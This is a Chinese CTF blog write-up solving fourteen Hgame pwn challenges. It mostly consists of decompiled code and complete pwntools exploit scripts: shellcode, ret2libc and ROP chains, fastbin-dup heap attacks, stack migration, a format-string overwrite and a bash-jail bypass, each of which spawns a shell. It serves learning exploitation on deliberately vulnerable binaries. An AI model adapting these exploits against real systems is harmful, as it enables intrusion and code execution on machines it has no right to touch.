kir[A]'s 小黑屋

Hgame pwn

字数统计: 3.6k阅读时长: 20 min
2018/02/07 Share

终于补完了Hgame的pwn,学到很多新姿势。

guess_number

1
2
3
4
5
6
7
8
printf("enter your guess:");
__isoc99_scanf("%s", &nptr);
if ( atoi(&nptr) == a1 )
{
printf("OHHHHHHH! u did it !\norz orz orz orz\nhere is your flag:");
system("cat flag");
exit(0);
}

虽然开了canary,但是只要输入的东西覆盖到随机数,判断一样就cat flag了。

1
2
gdb-peda$ distance  0xffffd39c 0xffffd4b0
From 0xffffd39c to 0xffffd4b0: 276 bytes, 69 dwords

计算一下输入位置和随机数的距离,输入一堆’1’,atoi会将输入转成0x7fffffff。那么payload:python -c "from pwn import *;print '1'*276+p32(0x7fffffff)" |nc 111.230.149.72 10002

flag_server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
printf("your username length: ");
__isoc99_scanf("%d", &v5);
while ( v5 > 63 || !v5 )
{
puts("sorry,your username is too LOOOOOOOOONG~~\nplease input again.\n");
printf("your username length: ");
while ( getchar() != 10 )
;
__isoc99_scanf("%d", &v5);
}
puts("whats your username?");
read_n(&s1, v5);
if ( !strcmp(&s1, "admin") )
{
v3 = time(0);
srand(v3);
v8 = rand();
printf("hello admin, please input the key: ");
__isoc99_scanf("%u", &v6);
if ( v6 != v8 )
{
puts("noooo, you are not the TRUE admin!!!\nwho are you???");
exit(0);
}
v10 = 1;
}
printf("hello %s, here is what I want to tell you:", &s1);
if ( v10 )
system("cat flag");
else
puts(&byte_8048BF4);
return 0;

虽然限制了username长度,可以输入负数直接绕过,然后输入一大堆’1’,将v10覆盖了就OK。

zazahui

神经病题目~

1
2
3
4
v0 = fopen("ad", "r");
v1 = fopen("flag", "r");
__isoc99_fscanf(v0, "%s", &ad);
return __isoc99_fscanf(v1, "%s", &flag);

广告词和flag都读到bss段了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
s = (char *)&ad;
v3 = 100;
while ( 1 )
{
if ( !v3 )
return puts(&::s);
printf(&format, v3);
puts(s);
printf("> ");
getinput((int)&s1, 188);
if ( !strcmp(&s1, "fuck it") )
break;
if ( !strcmp(&s1, s) )
{
puts("me too! again!!!\n");
--v3;
}
else
{
puts("that's not right :(\n");
}

只要将s覆盖成flag的地址就可以,不用计算距离,直接干!payload:python -c "from pwn import *;print 100*p32(0x0804A060)" |nc 111.230.149.72 10003

zazahui_ver2

打印广告词的代码移到while外了,不会每轮都打印广告,思路是照样覆盖s为flag地址,在strcmp那里做爆破,由于flag是0x00结尾,我们可以输入0x00,然后flag地址不停+1,直到提示right爆破出长度,然后再从后往前逐位爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = process('./zazahui_ver2')

p.recvuntil(">")
flaglen = 0
flag = ''
for i in range(100):
payload = 176 * '\x00'
payload += p32(0x804a060 + i)
p.send(payload)
res = p.recvuntil('>')
if 'again' in res:
flaglen = i
break
print 'flaglen: ', flaglen

for i in range(flaglen):
for j in range(32,127):
payload = chr(j) + flag
payload = payload.ljust(176, '\x00')
payload += p32(0x804a060 + flaglen - i -1)
p.send(payload)
res = p.recvuntil('>')
if 'again' in res:
flag = chr(j) + flag
print 'flag:',flag
break

ez_shellcode

超简单的shellcode,直接干就行了

1
2
3
4
5
from pwn import *
p = remote('111.230.149.72',10004)
payload = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
p.sendlineafter('> ',payload)
p.interactive()

ez_shellcode_ver2

一样是写shellcode,但是只能是大写字母和数字,可以用msfvenom生成

1
2
msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/alpha_upper BufferRegister=EAX -f python
shellcode = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIBJDKF8MI1BE62HVMSSMYM7E8VOSCCX302HFO2BU92NK9M3QBZHUXEPUPS0VOE2SY2NFO2S58C00WPSK9KQ8MMPAA"

bash_jail

hint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1.目录结构:
/# ls -l
total 32
-rwxr-x--- 1 root ctf 6352 Feb 13 04:26 bash_jail
drwxr-xr-x 2 root root 4096 Feb 13 04:28 bin
drwxr-xr-x 2 root root 4096 Feb 13 04:28 dev
-rwxr----- 1 root ctf 38 Feb 13 04:26 flag
drwxr-xr-x 27 root root 4096 Feb 13 04:27 lib
drwxr-xr-x 3 root root 4096 Feb 13 04:27 lib32
drwxr-xr-x 2 root root 4096 Feb 13 04:27 lib64

/bin# ls -l
total 340
-rwxr-xr-x 1 root root 52080 Feb 13 04:28 cat
-rwxr-xr-x 1 root root 126584 Feb 13 04:28 ls
-rwxr-xr-x 1 root root 154072 Feb 13 04:28 sh

2.考虑下system源码?
https://code.woboq.org/userspace/glibc/sysdeps/posix/system.c.html#do_system

3.学习一下shell的变量,正则等等?
https://linux.die.net/man/1/bash

4.如果正赛出这种题,大概是这样的:https://www.youtube.com/watch?v=6D1LnMj0Yt0

伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
size_t *v3; // rsi
char *lineptr; // [rsp+8h] [rbp-18h]
size_t n; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
v3 = 0LL;
setvbuf(stdout, 0LL, 2, 0LL);
lineptr = 0LL;
puts("===== easy bash jail =====");
while ( 1 )
{
printf("> ", v3);
v3 = &n;
getline(&lineptr, &n, stdin);
if ( (unsigned int)sub_400706(lineptr) ) //过滤了一些关键字母 abcfhgilnst*
puts("hacker!! go away~~ QAQ");
else
system(lineptr);
}
}

方法一:考虑到system执行命令时argv[0]是sh(见源码),而argv[0]可以用$0这个变量来打印因此只要输入 $0 即可getshell.

方法二:可以用 ???/??? ???? ,?可以做通配符,根据提示???/???可以匹配到/bin/cat

hacker_system_ver1

程序提供了add,print和delete的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void __cdecl __noreturn main()
{
int v0; // eax

setvbuf(stdout, 0, 2, 0);
sub_80489BB();
puts("Welcome to hacker system ver1.0\n\n");
while ( 1 )
{
while ( 1 )
{
menu();
printf("> ");
v0 = read_int();
if ( v0 != 2 )
break;
print_hacker();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
del_hacker();
}
else
{
if ( v0 == 4 )
{
puts("bye.");
exit(0);
}
LABEL_15:
puts("invaild command.");
}
}
else
{
if ( v0 != 1 )
goto LABEL_15;
if ( add_hacker() == -1 )
puts("add failed.");
}
}
}

print和delete都有简单的栈溢出可利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int sub_8048A20()
{
int result; // eax
char s1; // [esp+4h] [ebp-34h]
int v2; // [esp+24h] [ebp-14h]
int i; // [esp+28h] [ebp-10h]
int v4; // [esp+2Ch] [ebp-Ch]

printf("searched by name, input name length:");
v2 = read_int();
printf("input hacker's name:");
result = read_str((int)&s1, v2);
v4 = 0;
for ( i = 0; i <= 31; ++i )
{
result = hacker_list[i];
if ( result )
{
result = strcmp(&s1, (const char *)(hacker_list[i] + 4));
if ( !result )
{
v4 = 1;
result = printf(
"id:%u, name:%s, age:%u, intro:%s\n",
*(_DWORD *)hacker_list[i],
hacker_list[i] + 4,
*(_DWORD *)(hacker_list[i] + 36),
*(_DWORD *)(hacker_list[i] + 40));
}
}
}
if ( !v4 )
result = puts("not find!!");
return result;
}

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

p = remote('111.230.149.72' , 10005)
elf = ELF('./hacker_system_ver1' )
libc = ELF('./libc32.so' )

print_hacker_addr = 0x8048a20
junk = 'a'*0x38
payload = junk + p32(elf.symbols['puts']) + p32(print_hacker_addr) + p32(elf.got['printf'])
p.sendlineafter('> ','2')
p.sendlineafter(':','123')
p.sendlineafter(':',payload)
p.recvuntil('\n')

libc_base = u32(p.recv(4)) - libc.symbols['printf']
success(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()

payload = junk + p32(system) + p32(0) + p32(binsh)
p.sendlineafter(':','123')
p.sendlineafter(':',payload)
p.interactive()

hacker_system_ver2

同ver1,只是变成64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

p = remote('111.230.149.72' , 10008)
elf = ELF('./hacker_system_ver2' )
libc = ELF('./libc64.so' )

pr = 0x400fb3
print_hacker_addr = 0x400c63
junk = 'a'*0x38
payload = junk + p64(pr) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(print_hacker_addr)
p.sendlineafter('> ','2')
p.sendlineafter(':','123')
p.sendlineafter(':',payload)
p.recvuntil('\n')

libc_base = u64(p.recv(6)+'\x00'*2) - libc.symbols['read']
success(hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()

payload = junk + p64(pr) + p64(binsh) + p64(system)
p.sendlineafter(':','123')
p.sendlineafter(':',payload)
p.interactive()

hacker_system_ver3

hacker资料结构体:(共0x38 byte)

内容 大小
age 8 byte
name 32 byte
id 8 byte
intro addr 8 byte

漏洞点很明显,在del那里,会删除同名的所有hacker资料,但是只情空了最后一个指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 del_hacker()
{
void **ptr; // ST18_8
signed int v2; // [rsp+Ch] [rbp-44h]
signed int v3; // [rsp+10h] [rbp-40h]
signed int i; // [rsp+14h] [rbp-3Ch]
char s1; // [rsp+20h] [rbp-30h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
printf("input hacker's name:");
read_str(&s1, 32LL);
v3 = 0;
for ( i = 0; i <= 31; ++i )
{
if ( list_table[i] && !strcmp(&s1, (const char *)(list_table[i] + 8)) )
{
v3 = 1;
v2 = i;
ptr = (void **)list_table[i];
free(ptr[6]);
free(ptr);
}
}
if ( v3 )
{
list_table[v2] = 0LL;
printf("delete hacker %s done!!\n", &s1);
}
else
{
puts("not find!!");
}
return __readfsqword(0x28u) ^ v6;
}

首先,先把libc基址和stack地址泄露出来。利用步骤是:

1
2
3
add('aaa',111,'a'*0x20)
add('aaa',111,'a'*0x20)
delete('aaa')

先新建两个,intro大小为0x20,然后看一下heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ heap all
Top Chunk: 0x1c8e2a0
Last Remainder: 0x0
0x1c8e000
0x1c8e000 SIZE=0x40 DATA[0x1c8e010] |(.......vvv_347.................| INUSED PREV_INUSE
0x1c8e040 SIZE=0x30 DATA[0x1c8e050] |have a good command of re.......| INUSED PREV_INUSE
0x1c8e070 SIZE=0x40 DATA[0x1c8e080] |........hammer..................| INUSED PREV_INUSE
0x1c8e0b0 SIZE=0x30 DATA[0x1c8e0c0] |have a good command of web......| INUSED PREV_INUSE
0x1c8e0e0 SIZE=0x40 DATA[0x1c8e0f0] |................................| INUSED PREV_INUSE
0x1c8e120 SIZE=0x30 DATA[0x1c8e130] |have a good command of web and c| INUSED PREV_INUSE
0x1c8e150 SIZE=0x40 DATA[0x1c8e160] |........veritas501..............| INUSED PREV_INUSE
0x1c8e190 SIZE=0x30 DATA[0x1c8e1a0] |...............................j| INUSED PREV_INUSE
0x1c8e1c0 SIZE=0x40 DATA[0x1c8e1d0] |o.......aaa.....................| INUSED PREV_INUSE
0x1c8e200 SIZE=0x30 DATA[0x1c8e210] |aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
0x1c8e230 SIZE=0x40 DATA[0x1c8e240] |o.......aaa.....................| INUSED PREV_INUSE
0x1c8e270 SIZE=0x30 DATA[0x1c8e280] |aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
0x1c8e2a0 SIZE=0x20d60 TOP_CHUNK

然后把aaa删掉,那么现在有两个0x40的fastbin

1
2
3
4
5
6
7
8
gdb-peda$ heap freed
FASTBINS:
Fastbin1 :
0x1c8e270 SIZE=0x30 DATA[0x1c8e280] |........aaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
0x1c8e200 SIZE=0x30 DATA[0x1c8e210] |........aaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
Fastbin2 :
0x1c8e230 SIZE=0x40 DATA[0x1c8e240] |........aaa.....................| INUSED PREV_INUSE
0x1c8e1c0 SIZE=0x40 DATA[0x1c8e1d0] |........aaa.....................| INUSED PREV_INUSE

现在,可以新建一个bbb,intro大小为0x38,就是跟结构体的大小一致,目的是伪造一个结构体。

1
2
3
4
5
6
7
payload = p64(222)+'puts'.ljust(0x20,'\0')+p64(222)+p64(elf.got['puts']) # len = 0x38
print len(payload)
add('bbb',222,payload)
show('puts')
p.recvuntil('intro:')
puts_addr = u64(p.recv(6).ljust(8,'\0'))
print '[+]puts addr :',hex(puts_addr)

可以看到,之前freed的两个0x40大小fastbin被利用了

1
2
3
4
0xc6e1c0 SIZE=0x40 DATA[0xc6e1d0] |........puts....................| INUSED PREV_INUSE
0xc6e200 SIZE=0x30 DATA[0xc6e210] |........aaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE
0xc6e230 SIZE=0x40 DATA[0xc6e240] |........bbb.....................| INUSED PREV_INUSE
0xc6e270 SIZE=0x30 DATA[0xc6e280] |........aaaaaaaaaaaaaaaaaaaaaaaa| INUSED PREV_INUSE

看看hack_list的内容,第5个指针是指向我们伪造的puts,此时show puts的资料,就能把puts函数的地址泄露出来。

1
2
3
4
gdb-peda$ x/32gx 0x6020c0
0x6020c0: 0x0000000000c6e010 0x0000000000c6e080
0x6020d0: 0x0000000000c6e0f0 0x0000000000c6e160
0x6020e0: 0x0000000000c6e1d0 0x0000000000c6e240

stack地址泄露参考:https://github.com/Naetw/CTF-pwn-tips#leak-stack-address ,通过environ来leak,stack偏移可以本地调试计算。

由于开了canary,通过fastbin任意地址写的时候选择没有canary保护的函数,例如用了读取字符串的read_Str,通过修改ret来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
def add(name,age,intro):
p.sendlineafter('> ','1')
p.sendlineafter('name:',name)
p.sendlineafter('age:',str(age))
p.sendlineafter(':',str(len(intro)))
p.recvuntil(':')
p.send(intro)

def delete(name):
p.sendlineafter('> ','3')
p.sendlineafter('name:',name)

def show(name):
p.sendlineafter('> ','2')
p.sendlineafter('name:',name)

#leak libc_base
add('aaa',111,'a'*0x20)
add('aaa',111,'a'*0x20)
delete('aaa')
payload = p64(222)+'puts'.ljust(0x20,'\0')+p64(222)+p64(elf.got['puts']) # len = 0x38
print len(payload)
add('bbb',222,payload)
show('puts')
p.recvuntil('intro:')
puts_addr = u64(p.recv(6).ljust(8,'\0'))
print '[+]puts addr :',hex(puts_addr)
libc.address = puts_addr - libc.symbols['puts']
print '[+]system addr :',hex(libc.symbols['system'])

# leak stack
add('ccc',333,'c'*0x20)
add('ccc',333,'c'*0x20)
delete('ccc')
#payload = p64(444)+'environ'.ljust(0x20,'\0')+p64(444)+p64(libc.address+0x3c92f8) # libc_argv
payload = p64(444)+'environ'.ljust(0x20,'\0')+p64(444)+p64(libc.symbols['environ']) # libc_env
print len(payload)
add('ddd',444,payload)
show('environ')
p.recvuntil('intro:')
environ_addr = u64(p.recv(6).ljust(8,'\0'))
print '[+]environ addr :',hex(environ_addr)
stack_off = 0xf8
stack_addr = environ_addr#-0xf8
print '[+]stack addr :',hex(stack_addr)

# fastbin dup
pr = 0x401053 # pop rdi , ret
add('A',1,'A'*0x60)
add('A',1,'A'*0x10)
add('B',2,'B'*0x60)

delete('A') # A
add('C',3,'C'*0x60)
delete('C') # C
delete('B') # B->C
delete('A') # A==C->B->C

offset1_argv = 0x13b
offset_env = 0x13b+16
payload = p64(stack_addr-offset_env).ljust(0x60,'\0') #read_str stack
add('F',5,payload) #A
add('F',5,'F'*0x60) #B
add('F',5,'F'*0x60) #C

payload = p8(0)*0xb + p64(pr) + p64(next(libc.search('/bin/sh'))) + p64(libc.symbols['system'])
add('G',6,payload.ljust(0x60,'\0')) #stack

p.interactive()

calc

这条题跟之前湖湘杯的一题很想,思路也是一样,程序静态编译,直接组ROPchain就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int run()
{
int v1[64]; // [esp+8h] [ebp-110h]
int v2; // [esp+108h] [ebp-10h]
int v3; // [esp+10Ch] [ebp-Ch]

puts("welcome to my calculator (alpha version)");
v2 = 0;
while ( 1 )
{
menu();
printf("> ");
switch ( read_int_3() )
{
case 1:
v3 = add_func();
printf(">>> %d\n", v3);
break;
case 2:
v3 = sub_804894E();
printf(">>> %d\n", v3);
break;
case 3:
v3 = mul_func();
printf(">>> %d\n", v3);
break;
case 4:
v3 = div_func();
printf(">>> %d\n", v3);
break;
case 5:
v1[v2] = v3;
printf("result %d save success!!\n", v1[v2++]);
break;
case 6:
return puts("bye.");
default:
puts("invaild choice.");
break;
}
putchar(10);
}
}

注意会覆盖到v2的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from struct import pack
p= process('./calc')

rop=''
rop+= pack('<I', 0x08056ad3) # pop edx ; ret
rop+= pack('<I', 0x080ea060) # @ .data
rop+= pack('<I', 0x080b8446) # pop eax ; ret
rop+= '/bin'
rop+= pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
rop+= pack('<I', 0x08056ad3) # pop edx ; ret
rop+= pack('<I', 0x080ea064) # @ .data + 4
rop+= pack('<I', 0x080b8446) # pop eax ; ret
rop+= '//sh'
rop+= pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
rop+= pack('<I', 0x08056ad3) # pop edx ; ret
rop+= pack('<I', 0x080ea068) # @ .data + 8
rop+= pack('<I', 0x08049603) # xor eax, eax ; ret
rop+= pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
rop+= pack('<I', 0x080481c9) # pop ebx ; ret
rop+= pack('<I', 0x080ea060) # @ .data
rop+= pack('<I', 0x080dee5d) # pop ecx ; ret
rop+= pack('<I', 0x080ea068) # @ .data + 8
rop+= pack('<I', 0x08056ad3) # pop edx ; ret
rop+= pack('<I', 0x080ea068) # @ .data + 8
rop+= pack('<I', 0x08049603) # xor eax, eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop+= pack('<I', 0x0807b01f) # inc eax ; ret
rop += pack('<I', 0x0806d445) # int 0x80

def add_save(x):
p.sendlineafter('> ','1')
p.sendlineafter('a:','0')
p.sendlineafter('b:',str(x))
p.sendlineafter('> ','5')
#padding
for i in range(69):
add_save(i)
#rop
for i in range(len(rop)/4):
add_save(u32(rop[i*4:i*4+4]))
#getshell
p.sendlineafter('> ','6')
p.interactive()

message_saver

提示是UAF,程序message结构体如下:

content size
message size 8byte
message addr 8byte
encoder 8byte

思路是:增加一条message,然后删掉(但指针没清空),此时仍然可以编辑,编辑一个0x18大小的message,encoder修改为程序留的后门(如果没有就泄露libc地址),然后show的时候就会执行encoder位置的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
p = process('./message_saver')

def add(len, con, encoder=1):
p.sendlineafter('> ','1')
p.sendlineafter(':\n',str(len))
p.sendlineafter(':\n',con)
p.sendlineafter('===========\n',str(encoder))

def edit(len, con):
p.sendlineafter('> ','2')
p.sendlineafter(':\n',str(len))
p.sendlineafter(':\n',con)

def delete():
p.sendlineafter('> ','4')

def show():
p.sendlineafter('> ','3')

add(0x30, 'a', 1)
delete()
payload = 'a' * 0x10 + p64(0x400816)
edit(0x18, payload)
p.interactive()

ascii_art_maker

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-80h]

sub_4006D6();
puts("input the string you want to convert:");
read(0, &buf, 0x90uLL);
if ( buf )
sub_400705(&buf);
return 0LL;

main函数中存在一个0x10比特的栈溢出,可以覆盖rbp和ret,不够组rop,本题需要用栈迁移(stack migrate)

利用步骤:

  1. 伪造rbp为bss地址,然后跳回read(0, &buf, 0x90uLL);处扩大输入,可以发现会写入bss-0x80处。
  2. 第一段rop是泄露puts地址计算libc基址,写入第二段rop到bss+0x100,最后迁移stack到这里进行getshell。填充满0x80后溢出覆盖伪造rbp为bss-0x80,迁移stack到这里执行第一段rop。
  3. 构造第二段rop写到bss+0x100,然后迁移stack到bss+0x100执行rop。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    from pwn import *

    p = process('./ascii_art_maker')
    elf = ELF('./ascii_art_maker')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' )

    context.log_level = 'DEBUG'
    #gdb.attach(p,'b *0x0400A2B')
    p.recvuntil('convert:\n')

    prdi = 0x400a93 # pop rdi ; ret
    prsi = 0x400a91 # pop rsi ; pop r15 ; ret
    prbp = 0x400640 # pop rbp ; ret
    leave = 0x400a2b
    read_addr = 0x4009fc
    bss = 0x602c00

    payload = 'a'*0x80 + p64(bss) + p64(read_addr) # write rop1 to bss-0x80
    p.send(payload)

    rop = p64(0xdeadbeef) + p64(prdi) + p64(elf.got['puts']) + p64(elf.symbols['puts']) # leak puts
    rop += p64(prsi) + p64(bss+0x100) + p64(bss+0x100)+ p64(prdi) + p64(0) + p64(elf.symbols['read']) # write rop2 to bss+0x100
    rop += p64(prbp) + p64(bss+0x100) + p64(leave) #ret to bss+0x100
    rop = rop.ljust(0x80,'\x00') + p64(bss-0x80) + p64(leave) #ret to bss-0x80
    p.send(rop)

    addr_leak = p.recvuntil('\x7f')[-6:]
    puts_addr = u64(addr_leak.ljust(8,'\0'))
    print '[+] puts : ',hex(puts_addr)
    libc.address = puts_addr - libc.symbols['puts']
    print '[+] system: ',hex(libc.symbols['system'])
    rop = p64(0x602c00)+ p64(prdi) +p64(next(libc.search('/bin/sh'))) + p64(libc.symbols['system'])
    p.send(rop)
    p.interactive()

base64_decoder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main()
{
signed int v1; // [esp+8h] [ebp-110h]
char s1; // [esp+Ch] [ebp-10Ch]
unsigned int v3; // [esp+10Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = 2;
sub_80485FB();
puts("===== online base64 decoder =====");
while ( 1 )
{
if ( !v1 )
{
puts(aBuyIt);
exit(0);
}
printf("this is the trial version, \x1B[0;31m%d\x1B[0m times left.\n", v1);
printf("> ");
__isoc99_scanf("%255s", &s1);
if ( !strcmp(&s1, "exit") )
break;
if ( read_str(&s1) )
{
base64decode(&s1);
printf(&s1);
--v1;
}
else
{
printf("error!");
}
putchar(10);
}
return 0;
}

有一个很显示的格式化字符串漏洞,程序只能printf两次,可以泄露stack地址,修改v1然后用DynELF,或者泄露函数地址,网上找libc。

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ stack 20
0000| 0xffe6ade0 --> 0xffe6adfc ("AAAA%p%p%p%p%p%p%p%p%p%p")
0004| 0xffe6ade4 --> 0x8048ad3 ("exit")
0008| 0xffe6ade8 --> 0xffe6af08 --> 0x0
0012| 0xffe6adec --> 0x8048888 (sub esp,0xc)
0016| 0xffe6adf0 --> 0xf7eff000 --> 0x23f3c
0020| 0xffe6adf4 --> 0x8048320 ("__libc_start_main")
0024| 0xffe6adf8 --> 0x2
0028| 0xffe6adfc ("AAAA%p%p%p%p%p%p%p%p%p%p")
gdb-peda$ distance 0xffe6af08 0xffe6adf8
From 0xffe6af08 to 0xffe6adf8: -272 bytes, -68 dwords

按照官方提示用DynELF做,脚本如下:(注意覆盖v1的时候不要溢出了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#leak stack
p.sendlineafter('> ',b64encode('AAAA%2$pBBBB'))
p.recvuntil('AAAA')
stack_addr = int(p.recvuntil('BBBB')[:-4],16)
success('stack_addr:%x',stack_addr)
#overwrite v1
payload = p32(stack_addr-0x110)+'%250c%7$hhn'
p.sendlineafter('> ',b64encode(payload))

def leak(addr):
payload = 'AAAA%10$sBBB' + p32(addr)
p.sendlineafter('> ',b64encode(payload))
p.recvuntil('AAAA')
info = p.recvuntil('BBB')[:-3]
if info == '':
return '\x00'
return info

elf = ELF('./'+target)
d = DynELF(leak,elf=elf,libcdb=False)
system_addr = d.lookup('system','libc')
success('system_addr:%x',system_addr)

payload = fmtstr_payload(7,{elf.got['printf']:system_addr})
p.sendlineafter('> ',b64encode(payload))
p.sendline(b64encode('/bin/sh\0'))

p.interactive()

CATALOG
  1. 1. guess_number
  2. 2. flag_server
  3. 3. zazahui
  4. 4. zazahui_ver2
  5. 5. ez_shellcode
  6. 6. ez_shellcode_ver2
  7. 7. bash_jail
  8. 8. hacker_system_ver1
  9. 9. hacker_system_ver2
  10. 10. hacker_system_ver3
  11. 11. calc
  12. 12. message_saver
  13. 13. ascii_art_maker
  14. 14. base64_decoder